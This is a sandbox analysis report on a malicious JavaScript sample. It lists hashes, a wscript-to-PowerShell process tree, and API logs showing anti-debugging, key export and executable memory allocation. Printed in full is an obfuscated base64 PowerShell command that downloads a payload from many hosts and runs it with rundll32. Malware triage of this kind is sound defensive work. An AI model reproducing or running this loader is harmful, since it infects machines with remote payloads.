popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

okRjF655qUiqf.js

Generic Malware Antivirus Hide_URL AntiDebug AntiVM PowerShell
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 June 14, 2023, 10:04 a.m. June 14, 2023, 10:06 a.m.
Size 348.7KB
Type ASCII text, with very long lines, with CRLF line terminators
MD5 b64e207b0b569403f944d0a887e2c4cd
SHA256 28bfe57a74e00f84196d74e950c140805f36dfc1f607ce74e1c53addc8271d23
CRC32 996E81D7
ssdeep 6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbyW3ycTnd+hS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygN
Yara None matched

  • wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\okRjF655qUiqf.js

    3040

    • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABNAGUAdABlAHAAaQBtAGUAcgBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATwBRAEEANQBBAEMANABBAE0AUQBBADQAQQBEAGsAQQBMAGcAQQA0AEEARABNAEEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAFEAQQBhAFEAQgB6AEEASABRAEEAWgBRAEIAdQBBAEgATQBBAGEAUQBCAHYAQQBHADQAQQBjAHcAQQB1AEEASABjAEEAYQBRAEIAcgBBAEcAawBBAG4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYgB3AEIAMwBBAEcANABBAGEAUQBCAHMAQQBIAGsAQQBTAEEAQgBsAEEARwBNAEEAYQBBAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAGcAQQBiAHcAQgBzAEEARwBRAEEAYQBRAEIAdQBBAEcAYwBBAGMAdwBBAD0AIgA7ACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAE0AQQBkAEEAQgB5AEEARwA4AEEAYgBnAEIAMABBAEcAawBBAFkAUQBBAHUAQQBHAEkAQQBaAFEAQgB5AEEARwB3AEEAYQBRAEIAdQBBAEMAOABBAFMAQQBCAHkAQQBDADgAQQBkAGcAQQA1AEEARgBBAEEAYgBRAEEAeABBAEEAPQA9AD0AawB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVABBAEgAVQBBAFkAZwBCAGsAQQBHAFUAQQBZAFEAQgB1AEEARwBVAEEAYwBnAEIANQBBAEMANABBAGMAdwBCADEAQQBIAEkAQQBaAGcAQQB2AEEARQAwAEEAWQBRAEEAdgBBAEYAWQBBAGQAZwBCAEcAQQBEAE0AQQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAGsAQQBMAGcAQQB5AEEARABRAEEATwBRAEEAdQBBAEQARQBBAE0AUQBBAHoAQQBDADQAQQBNAFEAQQB5AEEARABRAEEATAB3AEIAVwBBAEMAOABBAE4AUQBBADAAQQBBAD0APQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgB2AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGIAdwBCAHUAQQBHAGsAQQBZAHcAQgBCAEEARwB3AEEAWQB3AEIAMQBBAEcAMABBAGUAUQBBAHUAQQBHAEkAQQBkAFEAQgA2AEEASABvAEEATAB3AEIAWQBBAEcAWQBBAE0AUQBCAHQAQQBDADgAQQBNAHcAQgB1AEEARgBnAEEAYwBnAEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAE0AQQBiAEEAQgAxAEEASABRAEEAZABBAEIAcABBAEcAcwBBAGEAUQBCAHUAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAYQBBAEIAbABBAEcAawBBAFoAdwBCAG8AQQBIAFEAQQBMAGcAQgB0AEEARwA4AEEAWQBnAEIAcABBAEMAOABBAE8AUQBCAHcAQQBEAEkAQQBXAEEAQgBDAEEAQwA4AEEAYgBBAEIAVwBBAEQAVQBBAGIAZwBBAD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB3AEEASABNAEEAZQBRAEIAagBBAEcAZwBBAGIAdwBCAHMAQQBHADgAQQBaAHcAQgBwAEEASABNAEEAYQBRAEIAdQBBAEcAYwBBAEwAZwBCADMAQQBHAGsAQQBhAHcAQgBwAEEAQwA4AEEAWgB3AEEAMQBBAEYATQBBAFkAdwBCAE4AQQBDADgAQQBOAHcAQQAwAEEARQBrAEEAVQB3AEEAPQA9AGsAeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQQB6AEEARQBNAEEAUwB3AEIAMgBBAEQATQBBAGEAZwBCAFcAQQBGAFkAQQBZAFEAQgB5AEEASABnAEEAPQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBqAEEARQBnAEEAUQB3AEIATwBBAEUAcwBBAGIAdwBCAHcAQQBHADAAQQBZAHcAQQA1AEEAQQA9AD0APQBrAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATgBnAEEANQBBAEMAOABBAE4AdwBCADQAQQBIAFkAQQBiAGcAQgBvAEEARABFAEEAVwBRAEEAdgBBAEUARQBBAE0AQQBCAFUAQQBHAFEAQQBXAGcAQgB2AEEAQQA9AD0AIgA7ACQAbgBvAG4AdAByAG8AcABpAGMAYQBsAGwAeQBDAG8AbQBtAHUAdABhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGcAQQBhAFEAQgB6AEEASABRAEEAYgB3AEIAcwBBAEcAOABBAFoAdwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARwB3AEEAZQBRAEIAQgBBAEcAdwBBAGQAZwBCAGwAQQBHADgAQQBiAEEAQgBwAEEASABRAEEAWgBRAEEAdQBBAEcARQBBAGIAQQBBAD0AUABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBaAFEAQgBqAEEARwBnAEEAWgBRAEIAawBBAEMANABBAFkAdwBCAHYAQQBHADAAQQAiADsAJABIAGUAeABhAGgAZQBtAGUAcgBvAG4AUAByAG8AcwBjAHkAbgBlAG0AYQB0AGEAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEUAQQBaAEEAQgB2AEEASABBAEEAWgBRAEIAeQBBAEcARQBBAGQAQQBCAHAAQQBHADgAQQBiAGcAQgBCAEEARwBJAEEAYgB3AEIAagBBAEcAOABBAFkAdwBCAHIAQQBHAFUAQQBkAEEAQQB1AEEARwBjAEEAYwBnAEIAcABBAEgAQQBBAFoAUQBBAD0AaAA9AEUAQQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAE0AQQBiAHcAQgB5AEEARwBVAEEAZABBAEIAdgBBAEcAMABBAGUAUQBBAHUAQQBHADQAQQBaAHcAQgB2AEEAQQA9AD0AIgA7ACQASAB5AHAAZQByAGEAbABnAGUAdABpAGMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBBAEEAdQBBAEQAUQBBAE4AQQBBAHUAQQBEAEkAQQBNAFEAQQA1AEEAQQA9AD0AYgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEUAQQBIAFUAQQBhAHcAQgBsAEEARwB3AEEAYQBRAEIAdQBBAEcAYwBBAFUAdwBCADEAQQBHAEkAQQBjAHcAQgAwAEEARwA4AEEAYwBnAEIANQBBAEMANABBAGQAdwBCAGwAQQBHAEkAQQBjAHcAQgBwAEEASABRAEEAWgBRAEEAPQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AZwBBAHUAQQBEAFkAQQBNAFEAQQB1AEEARABZAEEATQBnAEEAdQBBAEQARQBBAE0AQQBBADIAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABPAG8AbQBpAGEAYwBrAEMAbwBjAGsAYQB3AGUAZQAgAGkAbgAgACQATwB2AGUAcgBiAGEAawBlAGQAQQBsAGMAdQBtAHkAIAAtAHMAcABsAGkAdAAgACIAPQBrAHgAIgApACAAewB0AHIAeQAgAHsAJABEAGUAbgBvAHQAaQBuAGcASABlAGEAZABzAGgAZQBlAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAHcAQQB1AEEARABjAEEATgBRAEEAdQBBAEQAZwBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAxAEEAQQA9AD0AIgA7ACQAUABvAHMAaABsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAYwBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABVAEEATgBnAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBFAEEAWQBnAEIAdgBBAEcAOABBAGEAUQBCAHoAQQBHADAAQQBMAGcAQgBqAEEARwA4AEEAYgBRAEEAPQA9AFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBNAEEAWQB3AEIAaABBAEgAQQBBAGEAQQBCAHYAQQBHAGsAQQBaAEEAQQB1AEEASABRAEEAYgB3AEIANQBBAEgATQBBACIAOwAkAE0AaQBsAGwAZQBmAGwAZQB1AHIAcwBEAHIAYQBpAG4AYQBnAGUAdwBhAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQATwBvAG0AaQBhAGMAawBDAG8AYwBrAGEAdwBlAGUAKQApADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAJABNAGkAbABsAGUAZgBsAGUAdQByAHMARAByAGEAaQBuAGEAZwBlAHcAYQB5ACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAOwAkAE8AcgBkAHUAcgBvAHUAcwBuAGUAcwBzAEYAcgBpAHYAbwBsAGwAaQBuAGcAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABnAEEATgBRAEEAdQBBAEQAZwBBAE0AUQBBAHUAQQBEAEUAQQBNAGcAQQAzAEEAQQA9AD0AWQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAGMAQQBOAGcAQQB1AEEARABFAEEATwBRAEEAeABBAEMANABBAE0AZwBBAHcAQQBEAGcAQQBMAGcAQQB4AEEARABRAEEATgBBAEEAPQBZAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQATQBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQA9ACIAOwAkAEgAaQBzAHQAbwByAGkAYwBhAGwAbAB5AE8AdQB0AGIAdQBpAGwAZABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAegBBAEgAVQBBAFkAZwBCAGoAQQBHAHcAQQBZAFEAQgAxAEEASABNAEEAWgBRAEEAdQBBAEcANABBAFoAUQBCADMAQQBIAE0AQQBhAFoAagBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBZAFEAQgAwAEEARwBnAEEAZQBRAEIAegBBAEcAMABBAFkAUQBCAHMAQQBGAFUAQQBiAGcAQgBqAEEARwA4AEEAYgBnAEIAMABBAEgASQBBAGIAdwBCADIAQQBHAFUAQQBjAGcAQgAwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEwAZwBCAHYAQQBHADQAQQBaAFEAQQA9ACIAOwBpAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAALQBQAGEAdABoACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcAGEAbgB0AGkAZQBuAHYAaQByAG8AbgBtAGUAbgB0AGEAbABpAHMAbQAuAGQAaQBzAGwAbwBkAGcAaQBuAGcARABlAHAAbwBzAGkAdABpAG8AbgBhAGwAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAAyADkAOQAxADQAOQApAHsAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgBjAHcAQgAwAEEARwBFAEEAYwBnAEIAMABBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAWQBRAEIAdQBBAEgAUQBBAGEAUQBCAGwAQQBHADQAQQBkAGcAQgBwAEEASABJAEEAYgB3AEIAdQBBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBZAFEAQgBzAEEARwBrAEEAYwB3AEIAdABBAEMANABBAFoAQQBCAHAAQQBIAE0AQQBiAEEAQgB2AEEARwBRAEEAWgB3AEIAcABBAEcANABBAFoAdwBCAEUAQQBHAFUAQQBjAEEAQgB2AEEASABNAEEAYQBRAEIAMABBAEcAawBBAGIAdwBCAHUAQQBHAEUAQQBiAEEAQQBzAEEARwAwAEEAZABRAEIAegBBAEgAUQBBAE8AdwBBAD0AIgA7ACQAdQBuAGEAdQB0AGgAZQBuAHQAaQBjAGkAdAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgAwAEEARwBnAEEAWgBRAEIAeQBBAEcAVQBBAGIAdwBCAG0AQQBFADAAQQBaAFEAQgB6AEEARwBnAEEAYQBRAEIAbABBAEgASQBBAEwAZwBCAHoAQQBHADgAQQBiAEEAQgBoAEEASABJAEEASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBIAEEAQQBkAFEAQgB5AEEASABBAEEAYgB3AEIAeQBBAEgAUQBBAFoAUQBCAGsAQQBGAGMAQQBiAHcAQgB1AEEARwBRAEEAWgBRAEIAeQBBAEcAVQBBAGMAZwBCAHoAQQBDADQAQQBZAHcAQgBoAEEASABJAEEAWgBRAEIAbABBAEgASQBBAGMAdwBBAD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAFEAQQB1AEEARABFAEEATQBBAEEANABBAEMANABBAE4AdwBBADEAQQBDADQAQQBPAEEAQQA1AEEAQQA9AD0ASgBLAGYAZQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATQBBAEEANQBBAEMANABBAE0AUQBBADAAQQBEAGMAQQBMAGcAQQB4AEEARABFAEEATgB3AEEAPQAiADsAJABOAGUAcABoAHIAbwBsAHkAdABpAGMAUgBvAGcAdQBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAzAEEAQwA0AEEATQBnAEEAeQBBAEQAUQBBAEwAZwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATQB3AEEAegBBAEEAPQA9AHgAegBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBhAFEAQgB3AEEASABBAEEAYQBRAEIAaABBAEgAUQBBAGMAZwBCAHAAQQBHAE0AQQBZAFEAQgBzAEEARgBNAEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHAAQQBHADQAQQBaAFEAQgB2AEEARwBJAEEAYQBRAEIAcwBBAEcAawBBAGIAdwBCADEAQQBIAE0AQQBMAGcAQgB6AEEARwBVAEEAeAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgATQBBAFkAdwBCAGgAQQBIAEkAQQBZAFEAQgBpAEEARwBFAEEAWgBRAEIAcABBAEcAUQBBAFkAUQBCAGwAQQBFAFEAQQBhAFEAQgBsAEEASABNAEEAZABBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAHcAQgBqAEEARwA4AEEAZABBAEEAPQB4AHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB6AEEARwBVAEEAYwBBAEIAcABBAEcARQBBAGIAQQBCAHAAQQBHAHMAQQBaAFEAQgBVAEEARwBrAEEAZABnAEIAdgBBAEcAdwBBAGEAUQBBAHUAQQBHAGMAQQBhAFEAQgBtAEEASABRAEEAIgA7ACQAYwBhAG0AcAB1AHMAZQBzAEMAYQB0AGUAYwBoAGkAegBhAHQAaQBvAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAMwBBAEMANABBAE0AZwBBADAAQQBEAEkAQQBMAGcAQQB5AEEARABRAEEATgBnAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"

      2184

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031c030
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bd70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bd70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bd70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b970
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b470
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bb30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031bf70
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031be30
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b5b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b5b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b5b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0031b5b0
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 262144
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02630000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02630000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73971000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0274a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2184
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73972000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02742000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02752000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02631000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02632000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2184
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x027ba000
